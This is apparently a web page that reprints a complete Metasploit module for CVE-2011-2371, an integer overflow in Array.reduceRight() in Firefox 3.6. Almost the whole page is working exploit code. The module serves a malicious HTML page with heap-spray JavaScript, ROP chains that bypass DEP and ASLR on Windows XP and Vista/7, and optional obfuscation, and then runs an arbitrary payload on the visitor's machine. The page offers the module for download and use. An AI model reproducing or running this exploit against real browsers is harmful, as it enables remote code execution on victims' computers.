read, write, eXecute…

Mozilla Firefox Array.reduceRight() integer overflow vulnerability download
##
# $Id: mozilla_reduceright.rb 13984 2011-10-18 03:48:10Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML

        def initialize(info={})
                super(update_info(info,
                        'Name'           => "Mozilla Firefox Array.reduceRight() Integer Overflow",
                        'Description'    => %q{
                                        This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
                                array object is configured with a large length value, the reduceRight() method
                                may cause an invalid index being used, allowing abitrary remote code execution.
                                Please note that the exploit requires a longer amount of time (compare to a
                                typical browser exploit) in order to gain control of the machine.
                        },
                        'License'        => MSF_LICENSE,
                        'Version'        => "$Revision: 13984 $",
                        'Author'         =>
                                [
                                        'Chris Rohlf',    #Matasano Security (Initial discovery according to Mozilla.org)
                                        'Yan Ivnitskiy',  #Matasano Security (Initial discovery with Chris?)
                                        'Matteo Memelli', #PoC from Exploit-DB
                                        'dookie2000ca',   #"Helping" ryujin (Matteo)
                                        'sinn3r',         #Metasploit
                                        'mr_me',          #XP target (no aslr)
                                        'TecR0c',         #XP target (no aslr)
                                ],
                        'References'     =>
                                [
                                        ['CVE', '2011-2371'],
                                        ['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
                                        ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
                                ],
                        'Payload'        =>
                                {
                                        'BadChars'        => "\x00",
                                        'PrependEncoder'  => "\xbc\x0c\x0c\x0c\x0c",
                                },
                        'DefaultOptions'  =>
                                {
                                        'ExitFunction' => "process",
                                        'InitialAutoRunScript' => 'migrate -f',
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [

                                        [ 'Automatic', { } ],
                                        # if we dont have aslr, lets not deal with it....
                                        #Windows XP (no JAVA)
                                        [ 'Mozilla Firefox 3.6.16 (no JAVA)',
                                                {
                                                        'pivot'  => 0x104C26F0, # 1st pivot [push esi;pop esp;and [esi+44],0;xor eax,eax;pop esi;retn 4]
                                                        'pivot2' => 0x10055326, # 2nd pivot [add esp,40;ret]
                                                }
                                        ],
                                        #Vista / win 7 (using JAVA) to defeat aslr
                                        [ 'Mozilla Firefox 3.6.16 (JAVA)',
                                                {
                                                        'pivot'  => 0x7c370eef, # 1st pivot [lea esp,[esi-3];dec [ebx];ret 1C75]
                                                        'pivot2' => 0xcafebabe, # fake
                                                }
                                        ],
                                ],
                        'Privileged'     => false,
                        'DisclosureDate' => "Jun 21 2011",
                        'DefaultTarget'  => 0
                ))

                register_options(
                        [
                                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
                        ], self.class)
        end

        def junk(n=4)
                return rand_text_alpha(n).unpack("L")[0].to_i
        end

        def hjunk
                return rand_text_alpha(2).unpack("L")[0].to_i
        end

        def on_request_uri(cli, request)
                agent = request.headers['User-Agent']
                if agent !~ /Firefox\/3\.6\.[16|17]/
                        vprint_error("This browser is not supported: #{agent.to_s}")
                        send_not_found(cli)
                        return
                end

                my_target = target
                if my_target.name == 'Automatic'
                        if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
                                my_target = targets[1]
                        elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
                                my_target = targets[2]
                        end
                end

                table = [hjunk].pack('v*')
                table << [
                        0x0c000048,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                ].pack('V*')
                table << [hjunk].pack('v*')
                table << [
                        my_target['pivot'],
                        junk,
                ].pack('V*')
                table << [hjunk].pack('v*')
                table << [
                        0x3410240c,
                        0x0c00007c,
                        my_target['pivot2'],
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        junk,
                        0x0c00002e,
                ].pack('V*')

                # random
                js_applet = rand_text_alpha(rand(10) + 5)
                a_trigger = rand_text_alpha(rand(10) + 5)

                if my_target.name =~ /\(JAVA\)/

                        #mona.py tekniq! + Payload
                        rop = [
                                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                                0x7c37a140,  # Make EAX readable
                                0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
                                0x7c348b06,  # EBP (NOP)
                                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                                0x7c37a140,  # <- VirtualProtect() found in IAT
                                0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
                                0x7c346c0b,  # Slide, so next gadget would write to correct stack location
                                0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
                                0x7c348b06,  # EDI (filler)
                                0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
                                0x7c348b06,  # EBX (filler)
                                0x7c376402,  # POP EBP # RETN (msvcr71.dll)
                                0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
                                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                                0xfffff82f,  # size 20001 bytes
                                0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
                                0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
                                0xffffffff,  # pop value into ebx
                                0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
                                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
                                0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
                                0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
                                0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
                                0x7c34b8d8,  # ROP NOP (-> edi)
                                0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
                                0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
                                0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
                                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                                0x90909090,  # NOPS (-> eax)
                                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
                        ].pack('V*')

                        p = payload.encoded
                        arch = Rex::Arch.endian(target.arch)
                        js_payload = Rex::Text.to_unescape(rop + p, arch)
                        js_ptrs    = Rex::Text.to_unescape(table, arch)

                        #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
                        js = <<-JS
                        var applet = document.getElementById('#{js_applet}');

                        function spray() {
                                var ptrs = unescape("#{js_ptrs}");

                                var bheader  = 0x12/2;
                                var nullt    = 0x2/2;

                                var espoffset  = (7340 /2) - ptrs.length;
                                var esppadding = unescape("%u0c0c%u0c0c");
                                while(esppadding.length < espoffset) esppadding += esppadding;
                                esppadding = esppadding.substring(0, espoffset);

                                var payload = unescape("#{js_payload}");

                                var tr_padding = unescape("%u0c0c%u0c0c");
                                while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

                                var dummy = ptrs + esppadding + payload + tr_padding;
                                var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

                                HeapBlocks = new Array()
                                for (i=0;i<0x60;i++){
                                        HeapBlocks[i] += hspray;
                                }
                        }
                        spray();
                        obj = new Array;
                        obj.length = 2197815302;
                        f = function trigger(prev, myobj, indx, array) {
                                alert(myobj[0]);
                        }
                        obj.reduceRight(f,1,2,3);
                        JS

                        js = js.gsub(/^\t\t/, '')

                        if datastore['OBFUSCATE']
                                js = ::Rex::Exploitation::JSObfu.new(js)
                                js.obfuscate
                        end

                        html = <<-HTML
                        <html>
                        <head>
                        </head>
                        <body>
                        <applet id="#{js_applet}" code="#{a_trigger}.class" width=0 height=0>
                        </applet>
                        <script>
                        #{js}
                        </script>
                        </body>
                        <html>
                        HTML

                elsif my_target.name =~ /\(no JAVA\)/

                        # DEP bypass using xul.dll
                        rop =
                        [
                                junk,
                                junk,
                                junk,
                                junk,
                                junk,
                                0x101f1806,     # POP EAX # RETN [xul.dll]
                                0x1083828C,     # ptr to &VirtualAlloc() [IAT xul.dll]
                                0x103e0d7b,     # MOV ESI,DWORD PTR DS:[EAX] # RETN [xul.dll]
                                0x102d8002,     # POP EBP # RETN [xul.dll]
                                0x1003876b,     # & jmp esp [xul.dll]
                                0x10040001,     # POP EBX # RETN [xul.dll]
                                0x00000001,     # 0x00000001-> ebx
                                0x104e6917,     # POP EDX # RETN [xul.dll]
                                0x00001000,     # 0x00001000-> edx
                                0x102ac000,     # POP ECX # RETN [xul.dll]
                                0x00000040,     # 0x00000040-> ecx
                                0x102e0005,     # POP EDI # RETN [xul.dll]
                                0x102ac001,     # RETN (ROP NOP) [xul.dll]
                                0x101f1806,     # POP EAX # RETN [xul.dll]
                                0x90909090,     # nop
                                0x102b3401,     # PUSHAD # RETN [xul.dll]
                        ].pack("V*")

                        p = payload.encoded
                        arch = Rex::Arch.endian(target.arch)
                        js_payload = Rex::Text.to_unescape(rop + p, arch)
                        js_ptrs    = Rex::Text.to_unescape(table, arch)

                        # java loading forces the alloctor to use more blocks, since we
                        # dont load java we will just spray a little more..
                        js = <<-JS
                        var myobject = document.getElementById('d');

                        function spray() {
                                var ptrs = unescape("#{js_ptrs}");

                                var bheader  = 0x12/2;
                                var nullt    = 0x2/2;

                                var payload = unescape("#{js_payload}");

                                var tr_padding = unescape("%u0c0c%u0c0c");
                                while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

                                var dummy = ptrs + payload + tr_padding;
                                var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

                                HeapBlocks = new Array()
                                for (i=0;i<0x100;i++){
                                        HeapBlocks[i] += hspray;
                                }
                        }
                        spray();
                        obj = new Array;
                        obj.length = 2197815302;
                        f = function trigger(prev, myobj, indx, array) {
                                alert(myobj[0]);
                        }
                        obj.reduceRight(f,1,2,3);
                        JS

                        if datastore['OBFUSCATE']
                                js = ::Rex::Exploitation::JSObfu.new(js)
                                js.obfuscate
                        end

                        js = js.gsub(/^\t\t/, '')

                        html = <<-HTML
                        <html>
                        <head>
                        </head>
                        <body>
                        <object id="d"><object>
                        <script>
                        #{js}
                        </script>
                        </body>
                        <html>
                        HTML

                end

                html = html.gsub(/^\t\t/, '')

                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
                send_response(cli, html, {'Content-Type'=>'text/html'})
        end
end
example usage
-